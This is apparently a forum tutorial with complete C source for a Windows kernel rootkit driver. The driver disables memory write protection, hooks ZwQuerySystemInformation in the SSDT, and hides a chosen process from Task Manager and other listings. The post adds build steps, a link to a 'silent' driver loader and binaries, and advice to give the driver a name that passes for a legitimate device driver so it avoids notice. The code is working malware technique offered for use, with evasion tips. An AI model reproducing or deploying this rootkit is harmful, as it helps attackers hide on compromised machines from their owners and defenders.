[C] Rootkit - Hooking NtQuerySystemInformation to hide processes (Source + Binary)
This is my first tutorial and I assume you have some C / C++ knowledge. The driver is coded in C and the Driver Loader is coded in C++. In this tutorial we are going to replace the Kernel Function NtQuerySystemInformation.
An Very Short Introduction To Drivers
There are a few differences between user-mode programs (consoles and Win32 applications) and drivers.
A driver can't be started as an normal .EXE file. NT drivers are compiled to .SYS binaries, which need to be loaded as drivers before they can be ran.
Drivers run in kernel mode, they are given an higher privelege level. With a driver, you can do pretty much anything you want to to the computer the driver is running on. There are no limitations, since drivers are given SYSTEM priveleges.
Errors in kernel mode and user mode are handled very differently. The Blue Screen of Death is actually a very useful thing. When a problem in the driver occurs, Windows stops execution of all programs and drivers, and brings down the system in a controlled manner. If not for this, extensive system corruption could be caused by a faulty driver that keeps running after encountering a fatal error. Make sure that when you're writing drivers you are very careful with your code, and it's best to use a debugger and run it in a VM.
You can read more about driver development here.
Windows Driver Development Kit (DDK)
You will need the latest version of Windows Driver Development Kit, which contains the DDK in order to create drivers. The DDK contains many useful headers and libraries, as well as the binaries we're going to be using to build our driver. In this tutorial I'm using version 3790.1830. You will have to download the .ISO file and burn it to a CD disc or extract all files in it to your harddisk using WinRAR. It is possible to use DDK with Visual Studio, but it's not recommended. The console and Notepad will do just fine.
Once you finish installing, there should be a directory on your drive such as C:\WINDDK\3790.1830 (It depends on where you choose to install it and the numbers are the DDK version). Open C:\WINDDK\3790.1830 with Windows Explorer, if you installed the samples there should be a src directory (If you didn't then just create one). Inside, create a folder for your created drivers (Call it MyDrivers, or whatver you want). Don't use any spaces in your folder names, you will get errors if you have. In that folder, make a new one for your first driver that we are going to create now. Name it MyDriver. In that folder, you need to create 4 files:
Make sure that when you create these two files you do not give them an extension.
Makefile (Which essentially redirects to the Makefile provided in the DDK)
Код:
!INCLUDE $(NTMAKEENV)\makefile.def
Sources
Код:
TARGETNAME=MyDriver
TARGETTYPE=DRIVER
TARGETPATH=Bin
INCLUDES=..\..\Includes
SOURCES=Main.c
The TARGETNAME variable controls what your driver will be named. Remember that this name may be embedded in the binary itself, so using a TARGETNAME of MY_EVIL_ROOTKIT_IS_GONNA_GET_YOU is not a good idea.
Better names for the driver are those that look like legitimate device drivers.
Examples include MSDIRECTX, MSVID_H424, IDE_HD41, SOUNDMGR, and H323FON.
The TARGETPATH variable controls where the files go when they are compiled. Usually your driver files will be placed underneath the current directory in the objchk_xxx/i386 subdirectory.
The TARGETTYPE variable controls the kind of file you are compiling. To create a driver, we use the type DRIVER.
On the SOURCES line, a list of .c files is expected.
Before continuing, I would like you to known that DbgPrint("Hello World!\n"); prints an message to a debugger which is running on the system. You can download DbgView here. DbgPrint is very useful when testing.
The drivers DriverEntry is just like WinMain in a Win32 Application, or DllMain in a DLL.
Main.c
Код:
#include <ntddk.h> // Always include this file. Ntddk.h is a header you need to write drivers.
#include "ZwQuerySystemInformation.c" // ZwQuerySystemInformation.c contains the new hooking function.
// The Service Description Table (SSDT)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PointerServiceDescriptorTableEntry;
// Import KeServiceDescriptorTable from ntoskrnl.exe.
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;
// SYSTEMSERVICE returns the address of the Nt* function.
#define SYSTEMSERVICE(Function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)Function+1)]
void HookFunctions( void )
{
// Save the original ZwQuerySystemInformation so we can restore it later when unhooking.
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// ABOUT WRITE PROTECTION: Write Protection presents a significant problem to your rootkit if you want to filter the responses returned from certain system calls using call hooking. If an attempt is made to write to a read-only portion of memory, such as the SSDT, a Blue Screen of Death (BSoD) will occur.
// Disable the Memory Write Protection so we can access the read-only protected System Service Dispatch Table (SSDT).
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
// Replace the ZwQuerySystemInformation function in the System Service Dispatch Table (SSDT) with our new hook function.
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = NewZwQuerySystemInformation;
// From now on, when any process on the system (like the Task Manager) issues a System Call for the process list – the Rootkit’s NewZwQueryInformation routine will be called instead of the kernel’s ZwQuerySystemInformation function.
// Enable the Memory Write Protection again.
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Hooked!\n");
}
void UnHookFunctions( void )
{
// Disable the Memory Write Protection so we can access the read-only protected System Service Dispatch Table (SSDT).
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
// Unhook and restore the original ZwQuerySystemInformation.
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
// Enable the Memory Write Protection again.
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Unhooked!\n");
}
// Unload Function
NTSTATUS UnloadFunction(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading Driver...\n");
UnHookFunctions();
DbgPrint("Driver Unloaded!\n");
return STATUS_SUCCESS;
}
// During execution of the Rootkit module’s DriverEntry routine, the Rootkit modifies the System Service Dispatch Table by replacing the kernel’s ZwQuerySystemInformation with the Rootkit’s NewZwQuerySystemInformation function.
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
DbgPrint("Loading Driver...\n");
// Initialize the pointer to the unload function. (If we do not set this pointer, then the driver can be loaded but never unloaded.)
DriverObject->DriverUnload = UnloadFunction;
HookFunctions();
DbgPrint("Driver Loaded!\n");
return STATUS_SUCCESS;
}
ZwQuerySystemInformation.c
Код:
#include <ntddk.h> // Always include this file. Ntddk.h is a header you need to write drivers.
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
};
// ZwQuerySystemInformation API
// • A function implemented in the kernel that constructs a list of processes currently running on the system and returns the list to the caller.
// • A user space application (such as the Windows Task Manager) cannot call this function directly because it exists only in the Kernel’s address space.
// Import the ZwQuerySystemInformation API.
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; // A pointer to the original ZwQuerySystemInformation function
// The Rootkit module implements its own version of the ZwQuerySystemInformation routine named “NewZwQuerySystemInformation”.
NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
// • The original function returns the real list of processes back to the hook function. The hook function then iterates through the returned list and removes the "winlogon.exe" entry. (or the process you have specified)
// • The hook function then returns the modified list back to the original caller that invoked the system call.
NTSTATUS NtStatus;
// ANSI To Unicode
ANSI_STRING Process = {0};
UNICODE_STRING UnicodeProcess = {0};
RtlInitAnsiString(&Process, "winlogon.exe"); // This is the name of the process that will be hidden.
RtlAnsiStringToUnicodeString(&UnicodeProcess, &Process, TRUE);
// Call the original function.
NtStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
// Check if the call to the original function was successful.
if(NT_SUCCESS(NtStatus))
{
if(SystemInformationClass == 5) // 5 = Processes (It is possible to hide drivers and handles too)
{
struct _SYSTEM_PROCESSES *CurrProc = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *PrevProc = NULL;
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
while(CurrProc)
{
// Check to see if this is a process that we want to hide.
if (RtlEqualUnicodeString(&UnicodeProcess, &CurrProc->ProcessName, 1))
{
// I don't know how to explain the following code without pictures.
if(PrevProc)
{
if(CurrProc->NextEntryDelta)
{
PrevProc->NextEntryDelta += CurrProc->NextEntryDelta;
}
else
{
PrevProc->NextEntryDelta = 0;
}
}
else
{
if(CurrProc->NextEntryDelta)
{
(char *)SystemInformation += CurrProc->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else
{
CurrProc = NULL;
break;
}
}
if(CurrProc != NULL)
{
PrevProc = CurrProc;
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else CurrProc = NULL;
}
}
}
}
return NtStatus; // Return the modified ZwQuerySystemInformation.
}
Compiling is very simple. Go to Start / Programs / Development Kits / Windows DDK / Build Evironments / OS NAME / Checked Build Environment (This may change depending on your DDK version). This will open a command prompt. Type cd "...\src\MyDrivers\MyDriver" to navigate to the drivers path. Now type build or make to compile the driver. The .SYS file should be in C:\WINDDK\3790.1830\src\MyDrivers\MyDriver\i386\ (Depending on OS and DDK version and installation path).
How do I test the compiled driver?
Download Driver Loader [DLoad] or download my silent Driver Loader Application.
Can hidden processes and SSDT hooks be detected?
Yes, Tuluka can search for hooked Kernel Functions and restore them.
Where can I read more about rootkits and hooks?
You can read more about rootkits, hooks and how the process hiding function works here. I'd recommend you to read it.
Do you know an good book about rootkits?
Rootkits - Subverting the Windows Kernel is a very good book about rootkits, written by Greg Hoglund.
Can I create drivers in Visual Studio?
Yes, you can. You will need the latest version of DDKBuild.bat.
I'm using a 64 bit machine and I can't compile the driver with Windows Driver Development Kit (DDK), what shall I do?
DDK can't compile drivers with inline Assemby on 64 bit machines. Is is possible to disable the Memory Write Protection for the SSDT in another way. Google is your friend, :)
Downlod the Driver Loader and the Driver here. (Binary Files and Source Included)
If you want to test it, copy the driver to C:\Windows\system32\drivers\MyDriver.sys and run the Driver Loader with the parameter ...\Driver Controller.exe -Install. Open Windows Task Manager, can you see the process winlogon.exe? No, you can't. It's hidden. When you are done, run the Driver Controller again with the parameter ... -Uninstall. The Driver File is only 3KB, the loader is 28KB. I have tested it on Windows 7 32 bit but it should work on Windows XP and Windows Vista too. (Both 32 and 64 versions). Unlucky... the driver is detected as an rootkit by a few antivirus softwares.
(c) woodo
|